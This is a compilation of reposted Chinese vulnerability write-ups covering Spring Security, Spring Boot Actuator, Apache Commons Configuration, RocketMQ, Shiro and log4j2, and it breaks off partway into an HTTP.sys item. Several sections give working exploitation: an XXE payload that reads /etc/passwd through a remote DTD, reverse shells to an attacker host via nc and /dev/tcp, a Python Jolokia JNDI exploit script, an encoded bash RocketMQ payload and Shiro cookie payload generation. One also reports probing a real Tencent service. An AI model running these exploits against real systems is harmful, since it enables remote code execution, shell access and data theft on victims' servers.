CVE-2022-31692 Spring Security Oauth2 Client权限提升漏洞

CVE-2022-31692 Spring Security Oauth2 Client权限提升漏洞

本文转自棱镜七彩 并作补充

项目介绍

Spring Security是一个能够为基于Spring的企业应用系统提供声明式的安全访问控制解决方案的安全框架。它提供了一组可以在Spring应用上下文中配置的Bean,充分利用了Spring IoC,DI(控制反转Inversion of Control ,DI:Dependency Injection 依赖注入)和AOP(面向切面编程)功能,为应用系统提供声明式的安全访问控制功能,减少了为企业系统安全控制编写大量重复代码的工作。

项目地址

https://spring.io/projects/spring-security

漏洞概述

Spring Security 的受影响版本中存在权限提升漏洞,攻击者可以修改客户端通过浏览器向授权服务器发出的请求,如果授权服务器在后续使用包含空作用域列表的 ’OAuth2 Access Token Response‘ 响应来获取访问token,攻击者可以获得权限提升,以特权身份执行恶意代码。

影响版本

org.springframework.security:spring-security-oauth2-client@[5.6, 5.6.9)
org.springframework.security:spring-security-oauth2-client@[5.7, 5.7.5)

环境搭建

  1. 下载并使用spring官方提供的样例进行测试
  2. 分别启动login和authorization-server,官方提供的authorization-server默认账号密码是user、password

漏洞分析

该漏洞是一个Spring Security Oauth2的逻辑漏洞,要想明白该漏洞,我们必须先了解下什么是Oauth2。
简单说,OAuth2 就是一种授权机制。数据的所有者告诉系统,同意授权第三方应用进入系统,获取这些数据。系统从而产生一个短期的进入令牌(token),用来代替密码,供第三方应用使用。
OAuth 2.0 规定了四种获得令牌的流程:
授权码(authorization-code)
隐藏式(implicit)
密码式(password)
客户端凭证(client credentials)
授权码模式最常用,该模式的整个授权过程的时序图如下:

image

CVE-2022-31692漏洞产生的原因在于最后返回token时分配的scope不当,在spring security 中,应用向授权服务器请求token的代码如下:

image

上述标注的代码会判断AccessTokenResponse.scope是否为空,如果条件成立,则会使用当前client配置的scope。而scope代表的是令牌有权限范围。也就是说当授权服务器返回的scope为空,则客户端权限提升至最大。因此存在权限提升漏洞。
官方修复commit如下,分析代码可知spring security实现了三种认证模式并全部修复了漏洞。

image

三种模式的修复代码都是类似的,选其中一个分析,从修复代码可知修复后直接使用授权服务器返回的内容。

image

修复方式

升级到最新版

参考链接

OAuth2.0究竟是个啥?看完这13张图你就明白了! - 腾讯云开发者社区-腾讯云
CVE-2022-31690: Privilege Escalation in spring-security-oauth2-client
Spring-Security Commit:Fix scope mapping
OAuth 2.0 的一个简单解释
[iThome鐵人賽 2022] Day31 (CVE-2022-31692) Spring Security 又(?)有漏洞惹~~ 使用個 forward 功能臭了嗎?! - YouTube

Spring Boot Actuator 漏洞利用

Spring Boot Actuator 漏洞利用

本文转自诺言 并作补充

前言

Actuator 是 Spring Boot 提供的服务监控和管理中间件。当 Spring Boot 应用程序运行时,它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置,就有可能导致一些系统信息泄露、XXE、甚至是 RCE 等安全问题。

漏洞发现

通常通过两个位置判断网站是否使用了Spring Boot框架。
1、网站图片文件是一个绿色的树叶。
2、特有的报错信息。
image

影响版本

Spring Boot < 1.5 默认未授权访问所有端点
Spring Boot >= 1.5 默认只允许访问/health和/info端点,但是此安全性通常被应用程序开发人员禁用

端点描述

官方文档对每个端点的功能进行了描述。

1
2
3
4
5
6
7
8
9
10
11
12
路径            描述
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

Spring Boot 1.x版本端点在根URL下注册。
image

Spring Boot 2.x版本端点移动到/actuator/路径。
image

本文中端点的位置都是基于网站根目录下,实战中遇到的情况是,端点可能存放在多级目录下,需要自行进行寻找。
访问/trace端点获取到近期服务器收到的请求信息。
如果存在登录用户的操作请求,可以伪造cookie进行登录。
image

访问/env端点获取环境属性。
数据库账户泄漏
image

Jolokia端点利用

大多数Actuator仅支持GET请求并仅显示敏感的配置数据,如果使用了不当的Jolokia端点,可能会产生XXE、甚至是RCE安全问题。

reloadByURL方法

查看/jolokia/list 中存在的 Mbeans,是否存在logback 库提供的reloadByURL方法。
image

xxe漏洞实现

reloadByURL方法,允许远程加载logback.xml 配置文件,并且解析 xml 文件未做任何过滤措施,导致了xxe漏洞。
1、创建logback.xml和fileread.dtd文件

1
2
3
4
5
logback.xml,地址为公网vpsweb服务地址。

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://x.x.x.x/fileread.dtd">%remote;%int;]>
<a>&trick;</a>
1
2
3
4
fileread.dtd

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

2、把创建的logback.xml和fileread.dtd文件上传到公网vps的web目录下。
image

3、远程访问logback.xml文件。

1
www.xxx.com/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml

成功利用xxe读取到etc/passwd文件内容。
image

远程代码执行实现

可以在logback.xml中使用insertFromJNDI标签,这个标签允许我们从 JNDI 加载变量,导致了rce漏洞产生。
rce的流程主要分为4步。详细过程
1、构造 Get 请求访问目标,使其去外部服务器加载恶意 logback.xml 文件。
2、解析 logback.xml 时,最终会触发 InitialContext.lookup(URI) 操作,而URI 为恶意 RMI 服务地址。
3、恶意 RMI 服务器向目标返回一个 Reference 对象,Reference 对象中指定了目标本地存在的 BeanFactory 类,以及Bean Class 的类名、属性、属性值(这里为 ELProcessor 、x、eval(…))。
4、目标在进行 lookup() 操作时,会动态加载并实例化 BeanFactory 类,接着调用 factory.getObjectInstance() 方法,通过反射的方式实例化 Reference 所指向的任意 Bean Class,并且会调用 setter 方法为所有的属性赋值。对应我们的代码,最终调用 setter 方法的时候,就是执行如下代码:

1
ELProcessor.eval(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc evil-server-ip port >/tmp/f']).start()\"

而 ELProcessor.eval() 会对 EL 表达式(这里为反弹 shell)进行求值,最终达到 RCE 的效果。

下载rce利用代码
修改Spring-Boot-Actuator-Exploit\maliciousRMIServer\src\main\java\hello\EvilRMIServer.java的代码。
可以修改RMI远程监听的端口,和反弹shell的地址和端口。
image
使用maven对java代码进行编译打包。
进入Spring-Boot-Actuator-Exploit-master/maliciousRMIServer目录,执行mvn clean install
打包成功后创建target目录下生成RMIServer-0.1.0.jar文件。
image

image

1
2
3
4
5
修改logback.xml文件内容。

<configuration>
<insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" />
</configuration>

把RMIServer-0.1.0.jar文件上传到公网vps上。
执行RMIServer-0.1.0.jar文件,开启攻击机上的RMI监听时需要通过’Djava.rmi.server.hostname=x.x.x.x’指定自己的RMI监听的外网地址。
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
image

vps使用nc监听反弹shell指定的端口。
nc -lvp 9998
在漏洞url访问:
http://x.x.x.x/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!114.x.x.x!/logback.xml
image
成功反弹shell。
image

createJNDIRealm方法

相关原理请查看Attack Spring Boot Actuator via jolokia Part 2
查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法,可能存在JNDI注入,导致远程代码执行。
image

利用过程分为五步。
1、创建 JNDIRealm
2、写入 contextFactory 为 RegistryContextFactory
3、写入 connectionURL 为你的 RMI Service URL
4、停止 Realm
5、启动 Realm 以触发 JNDI 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
可以使用burp一步步重放,也可以直接使用python脚本执行。
import requests as req
import sys
from pprint import pprint

url = sys.argv[1] + "/jolokia/"
pprint(url)
#创建JNDIRealm
create_JNDIrealm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
#写入contextFactory
set_contextFactory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://x.x.x.x:1097/jndi"
}
#停止Realm
stop_JNDIrealm = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
#运行Realm,触发JNDI 注入
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}

expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]

for i in expoloit:
rep = req.post(url, json=i)
pprint(rep.json())

使用之前打包好的jar包-RMIServer-0.1.0.jar,运行RMI服务
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar
image

使用nc监听反弹的端口nc -lvp 9998
image

使用python发送请求python exp.py http://x.x.x.x:8087
image

成功反弹shell。
image

spring Cloud env

当spring boot使用Spring Cloud 相关组件时,会存在spring.cloud.bootstrap.location属性,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE
漏洞原理参考https://www.anquanke.com/post/id/195929

利用范围

Spring Boot 2.x 无法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功
Spring Boot <= 1.4 可利用成功

利用过程

大致原理分为2步。
1、利用 /env endpoint 修改 spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址,如 http://x.x.x.x/yaml-payload.yml
2、请求 /refresh endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行。
下载使用Michael Stepankin大牛提供的exp
更改执行的命令。
image

1
2
3
4
将java文件进行编译

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

把生成的jar文件挂载到公网http服务器。
修改 spring.cloud.bootstrap.location为外部 yml 配置文件地址。

1
2
3
4
5
6
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml

image

请求 /refresh 接口触发

1
2
3
4
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

命令执行成功。
image

参考文章

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
http://radiosong.cn/index.php/2019/04/03/1.html
https://xz.aliyun.com/t/4258
http://r3start.net/index.php/2019/01/20/377
https://github.com/mpgn/Spring-Boot-Actuator-Exploit
https://www.secshi.com/21506.html
https://lucifaer.com/2019/03/13/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%202/#0x04-%E6%9E%84%E9%80%A0poc
https://www.anquanke.com/post/id/195929
http://vulsee.com/archives/vulsee_2019/1025_9168.html

关于CVE-2022-33980 Apache Commons Configuration 远程命令执行漏洞分析

关于CVE-2022-33980 Apache Commons Configuration 远程命令执行漏洞分析

本文转自星阑科技 并作补充

漏洞描述

7月6日,Apache官方发布安全公告,修复了一个存在于Apache Commons Configuration 组件的远程代码执行漏洞,漏洞编号:CVE-2022-33980,漏洞威胁等级:高危。恶意攻击者通过该漏洞,可在目标服务器上实现任意代码执行。

相关介绍

Apache Commons Configuration是一个Java应用程序的配置管理工具,可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。在一些配置文件较多较复杂的情况下,使用该配置工具比较可以简化配置文件的解析和管理,提高开发效率和软件的可维护性。

利用范围

2.4 <= Apache Commons Configuration <=2.7

前置知识

什么是变量插值?

通常我们用apach的configuration2库来管理配置文件(org.apache.commons:commons-configuration2),在commons-configuration2管理的配置文件中,配置变量的值可以引用变量。举个例子:${env:xxhzz}就指代环境变量xxhzz,在commons-configuration2中这种引用动态变量的方式就叫变量插值。

变量插值解析:在commons-configuration2中,负责对字符串中的变量进行解析的是org.apache.commons.configuration2.interpol.ConfigurationInterpolator类中的interpolate(Object)方法。

漏洞原理

image

从漏洞通告中,可以得知Apache Commons Configuration执行变量插值,允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”,其中“prefix”用于定位执行插值的org.apache.commons.configuration2.interpol.Lookup 实例。

从2.4版到2.7版,默认的Lookup实例集包括可能导致任意代码执行或与远程服务器联系的插值器。如公告中提到“script” 可使用JVM脚本执行引擎(javax.script)执行表达式,若使用了不受信任的配置值,在受影响的版本中使用插值默认值的应用程序就很可能受到远程代码执行的影响。

环境搭建

了解了漏洞原理后,为更好理解漏洞的形成,需构建一个调试的demo环境。

通过maven直接引入Apache Commons Configuration2.7。

image

接着构建一个触发漏洞的主类即可

image

动态调式

在对插值变量进行解析的地方打下断点。

org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate

image

开启debug模式,在经过了前两个if判断之后,随后会进入resolveSingleVariable函数。

image

在org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolveSingleVariable中首先跟一下extractVariableName函数。

image

org.apache.commons.configuration2.interpol.ConfigurationInterpolator#extractVariableName的作用是提取变量字符串strValue。

image

随后进入org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolve函数中,通过index0f查找和判断条件,从变量字符串中分别获取到prefix和name。

image

继续跟进会进入lookup函数。

image

在分析lookup函数前先跟进下fetchLookupForPrefix函数。

image

fetchLookupForPrefix函数的作用是获取到stringLookup对象。

继续跟进,会进入commons-text-1.8.jar包中的org.apache.commons.text.lookup.ScriptStringLookup#lookup函数。

image

在org.apache.commons.text.lookup.ScriptStringLookup#lookup函数中会再次对字符串进行分割,分别提取engineName和script。

image

接着会通过getEngineByName函数获取ScriptEngine(javax.script)。

image

继续往下,出现eval函数。而我们知道eval函数可计算某个字符串,并执行其中的的JavaScript 代码。

image

继续往下将成功触发我们传入的payload,造成远程命令执行。

漏洞复现

image

​成功命令执行。

image

修复建议

目前官方已发布修复版本修复了该漏洞,请受影响的用户升级到 Apache Commons Configuration 2.8.0 版本。
https://commons.apache.org/proper/commons-configuration/download_configuration.cgi

参考材料

1.https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s
2.https://cloud.tencent.com/devel

Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)漏洞分析

Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)漏洞分析

本文转自Sunflower@知道创宇404实验室 并作补充

1.漏洞介绍

Apache RocketMQ 存在远程命令执行漏洞(CVE-2023-33246)。RocketMQ的NameServer、Broker、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。

2.漏洞版本

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

3.环境搭建

使用docker拉取漏洞环境

1
docker pull apache/rocketmq:4.9.5

运行docker run命令,搭建docker环境

1
2
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf

docker ps检查docker正常启动即可

image

4.RocketMQ简介

我们平时使用一些体育新闻软件,会订阅自己喜欢的一些球队板块,当有作者发表文章到相关的板块,我们就能收到相关的新闻推送。

发布-订阅(Pub/Sub)是一种消息范式,消息的发送者(称为发布者、生产者、Producer)会将消息直接发送给特定的接收者(称为订阅者、消费者、Comsumer)。而RocketMQ的基础消息模型就是一个简单的Pub/Sub模型[1]。

4.1 RocketMQ的部署模型

Producer、Consumer又是如何找到Topic和Broker的地址呢?消息的具体发送和接收又是怎么进行的呢?

image

4.2 名字服务器 NameServer

NameServer是一个简单的 Topic 路由注册中心,支持 Topic、Broker 的动态注册与发现。

主要包括两个功能:
Broker管理,NameServer接受Broker集群的注册信息并且保存下来作为路由信息的基本数据。然后提供心跳检测机制,检查Broker是否还存活;
路由信息管理,每个NameServer将保存关于 Broker 集群的整个路由信息和用于客户端查询的队列信息。Producer和Consumer通过NameServer就可以知道整个Broker集群的路由信息,从而进行消息的投递和消费。

4.3 代理服务器 Broker

Broker主要负责消息的存储、投递和查询以及服务高可用保证。

NameServer几乎无状态节点,因此可集群部署,节点之间无任何信息同步。Broker部署相对复杂。

在 Master-Slave 架构中,Broker 分为 Master 与 Slave。一个Master可以对应多个Slave,但是一个Slave只能对应一个Master。Master 与 Slave 的对应关系通过指定相同的BrokerName,不同的BrokerId 来定义,BrokerId为0表示Master,非0表示Slave。Master也可以部署多个。

4.4 消息收发

在进行消息收发之前,我们需要告诉客户端NameServer的地址,RocketMQ有多种方式在客户端中设置NameServer地址,举例三个,优先级由高到低,高优先级会覆盖低优先级。

代码中指定Name Server地址,多个namesrv地址之间用分号分割

1
2
producer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");  
consumer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");

Java启动参数中指定Name Server地址

1
-Drocketmq.namesrv.addr=192.168.0.1:9876;192.168.0.2:9876  

环境变量指定Name Server地址

1
export NAMESRV_ADDR=192.168.0.1:9876;192.168.0.2:9876

4.5 漏洞主要涉及的类的介绍

4.5.1 DefaultMQAdminExt

DefaultMQAdminExt是 RocketMQ 提供的一个扩展类。它提供了一些管理和操作 RocketMQ 的工具方法,可以用于管理主题(Topic)、消费者组(Consumer Group)、订阅关系等。

DefaultMQAdminExt类提供了一些常用的方法,包括创建和删除主题、查询主题信息、查询消费者组信息、更新订阅关系等。它可以通过与 NameServer 交互来获取和修改相关配置信息,并提供了对 RocketMQ 的管理功能。

例如DefaultMQAdminExt更新broker配置的一个方法(更新的配置文件为broker.conf):

1
2
3
4
5
public void updateBrokerConfig(String brokerAddr,
Properties properties) throws RemotingConnectException, RemotingSendRequestException,
RemotingTimeoutException, UnsupportedEncodingException, InterruptedException, MQBrokerException {
defaultMQAdminExtImpl.updateBrokerConfig(brokerAddr, properties);
}

4.5.2 FilterServerManager

在 Apache RocketMQ 中,FilterServerManager 类是用于管理过滤服务器(Filter Server)的类。过滤服务器是 RocketMQ 中的一种组件,用于支持消息过滤功能。过滤服务器负责处理消息过滤规则的注册、更新和删除,以及消息过滤的评估和匹配。

5.漏洞分析

补丁文件[2]中直接将Filter Server模块全部移除,所以我们可以直接来看FilterServerManager,简要分析一下FilterServerManager的调用流程:

在Broker启动时执行sh mqbroker…,调用到BrokerStartup类:

image

在该类中继续调用到BrokerController中的start()方法

image

继续跟进

image

最终到了FilterServerManager类中,其中FilterServerUtil.callShell();存在命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public void start() {

this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}

private String buildStartCommand() {
String config = "";
if (BrokerStartup.configFile != null) {
config = String.format("-c %s", BrokerStartup.configFile);
}

if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
}

if (RemotingUtil.isWindowsPlatform()) {
return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
} else {
return String.format("sh %s/bin/startfsrv.sh %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
}
}

根据start()方法内部可知createFilterServer方法每隔30秒都会被调用一次,

1
2
3
4
5
6
7
8
9
10
11
12
public void start() {
this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

到了这一步,很明显我们只需要控制BrokerConfig进行命令拼接,等待触发createFilterServer即可造成RCE。

但是要想成功触发命令执行还有两个问题需要解决一下:

1、在createFilterServer方法中,more的值要大于0才会触发callShell方法

1
2
3
4
5
6
7
8
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}

这里只需要通过DefaultMQAdminExt设置filterServerNums的值即可,大致为:

1
2
3
4
5
6
7
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
...
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
...
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", props);
...

2、callshell方法传入命令时,shellString会被splitShellString方法使用空格进行拆分为一个cmdArray数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void callShell(final String shellString, final InternalLogger log) {
Process process = null;
try {
String[] cmdArray = splitShellString(shellString);
process = Runtime.getRuntime().exec(cmdArray);
process.waitFor();
log.info("CallShell: <{}> OK", shellString);
} catch (Throwable e) {
log.error("CallShell: readLine IOException, {}", shellString, e);
} finally {
if (null != process)
process.destroy();
}
}

意味着传入的命令如果带了空格,都会被拆分为数组,而数组在exec中会将每个命令的结尾标记为下一个命令的开头[3]。

sh {可控}/bin/startfsrv.sh ... 如果传入 -c curl 127.0.0.1;

那么comArray为 ['sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...']

这里的每个命令的结尾作为下一个命令的开头,它将每个被传入的命令都看作为一个整体,想不出一个更合适的例子,这里可以使用shell里的单引号括起来进行辅助理解:

'sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...'

image

很明显,这里的curl因为使用了空格,导致curl 127.0.0.1被拆分为了两个部分,正确的写法应该是:

'sh' '-c' 'curl 127.0.0.1' ';' '/bin/startfsrv.sh' '...'

image

但是使用空格又会被split,所以现在的问题点就在于如何避免使用空格进行完整的传参,网上公开的解法[4]:

-c $@|sh . echo curl 127.0.0.1;

$@ 作为一个特殊变量,它表示传递给脚本或命令的所有参数,直接将echo后面的值作为一个整体传递给$@,解决了拆分命令的问题。

感谢longofo@知道创宇404实验室带我探讨出第二个绕过方法:

顺便一提,这个绕过的核心点在于这里如果不使用bash,则无法成功使用${IFS}以及{}进行绕过空格限制,这里就不再进行细节讲解,感兴趣的师傅可以动手试试:

-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";

5.1 payload构造

根据上面的知识,最终构造的payload为:

1
2
3
4
5
6
7
8
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
properties.setProperty("rocketmqHome","-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";");
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
defaultMQAdminExt.setNamesrvAddr("localhost:9876");
defaultMQAdminExt.start();
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", properties);
defaultMQAdminExt.shutdown();

5.2 漏洞验证

使用payload进行curl dnslog,每隔30s左右收到一次请求:

image

5.3 漏洞修复

在修复版本4.9.6和5.1.1中都是直接删除了filter server模块

image

5.4 影响范围统计

使用Zoomeye[5]进行搜索,得到ip结果34348条:
https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22
image

使用Zoomeye搜索一下被攻击过的目标数量,得到ip结果6011条:
https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22%2B%22rocketmqHome%3D-c%20%24%40%7Csh%22
image

通过Zoomeye的下载功能,再来本地统计一下攻击手法。这里大部分都是通过wget、curl等指令下载木马进行执行反弹shell。

image

6.参考链接

[1] https://github.com/apache/rocketmq/tree/rocketmq-all-4.5.1/docs/cn

[2] https://github.com/apache/rocketmq/commit/c469a60dcca616b077caf2867b64582795ff8bfc

[3] https://stackoverflow.com/questions/48011611/what-exactly-can-we-store-inside-of-string-array-in-process-exec

[4] https://github.com/I5N0rth/CVE-2023-33246

[5] https://www.zoomeye.org

Shiro RememberMe 1.2.4

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker

本文转自莫憨憨

影响版本:Apache Shiro <= 1.2.4

漏洞产生原因:

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。
然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。使用大佬脚本生成 payload(ysoserial.jar文件和运行目录处于同一目录)

漏洞环境搭建

1.拉取镜像

1
docker pull medicean/vulapps:s_shiro_1

2.启动环境

1
docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1

如需进入环境,命令为

1
docker exec -it name /bin/bash

3.web访问

http://127.0.0.1 能看到如下页面即可

image

或虚拟机外面用真实ip访问

image

至此漏洞环境搭建成功

漏洞复现

1.抓包测试

查看返回包里setcookie有rememberme的字样

image

2.继续测试

首先最简单的测试方法是用dnslog,看看是否有回显。
利用POC生成想要执行的命令对应的rememberMe

3.工具准备

image

生成payload的脚本使用的是python3,运行报错就安装一下模块

4.生成payload:

双引号中是想要执行的命令,如果这里没有公网VPS,就用dnslog来证明。攻击原理一样,不认可的杠精可直接怼

1
py -3 shiro_1.2.4.py "ping 39p2wo.dnslog.cn"

运行结果如下图:

image

然后便会在脚本所在目录下生成文件payload.cookie

5.回到浏览器抓包

用payload.cookie中的rememberMe内容加入Cookie中,或者直接放进参数中,提交看页面回显和dnslog页面是否有数据过去

6.到ceye平台查看日志记录

dnslog日志刷新后有记录了,说明payloda执行成功

image

反弹shell

当然了,有VPS的情况下,为何不反弹一下shell呢?

1.使用脚本生成key

反弹shell的命令:bash -i >& /dev/tcp/22.45.13.9/7878 0>&1

1
py -3 shiro_1.2.4.py "bash -i >& /dev/tcp/22.45.13.9/7878 0>&1"

PS:ip假的,不打码,观看流畅

2.先公网VPS监听反弹shell的命令

1
nc -lvp 7878

image

3.加入payload,提交数据包

image

这里使用curl也能达到burp的效果

1
2
// 加 -I 是只看响应头,这里主要关注set-cookie:rememberMe
curl -X GET http://172.16.12.132 --cookie “xxxxxxxxxxxxx” -I

讲这个是因为此方法可以用来初步探测shiro信息

image

4.vps收到了反弹回来的shell

image

题外话1

研究这个漏洞,是因为客户要求排查下资产,然后找不到集成的工具和一键式检查的。
漏洞的事情OK了,还是觉得自己太菜,要是代码够给力,写个集成的丢github上就真的香。

题外话2

还有一个思路,看大佬文章时,这里一直没搞懂。字面意思是用ysoserial中的JRMP监听模块来搞定的,后续学会了再补上笔记

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'

image

参考链接:

https://www.jianshu.com/p/0007eafd1f92
https://www.secpulse.com/archives/112742.html

dnslog-log4j2

dnslog简单验证log4j2漏洞

本文转自星夜

简单步骤

进dnslog:http://www.dnslog.cn/

Get SubDomain 得到一个随机的子域名

拼进${jndi:ldap://xxxxx.dnslog.cn/exp}

往任意可能在log中塞的输入填

这里拿tx玩,如群中发送,可得到tx云的记录

image

image

image

HTTP.sys远程代码执行

【渗透整理】HTTP.sys远程代码执行

本文转自久违 °

漏洞介绍

HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.sys。HTTP.sys远程代码执行漏洞实质是HTTP.sys的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

影响环境:Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响。

漏洞知识

说到HTTP.sys远程代码执行漏洞,不得不先介绍一下Range首部字段。

在“上古时代”,网络并不是很好,下载大型文件很不容易。下载途中如果网络中断,就得重头开始下。为了解决这个问题,HTTP/1.1引入了范围请求。

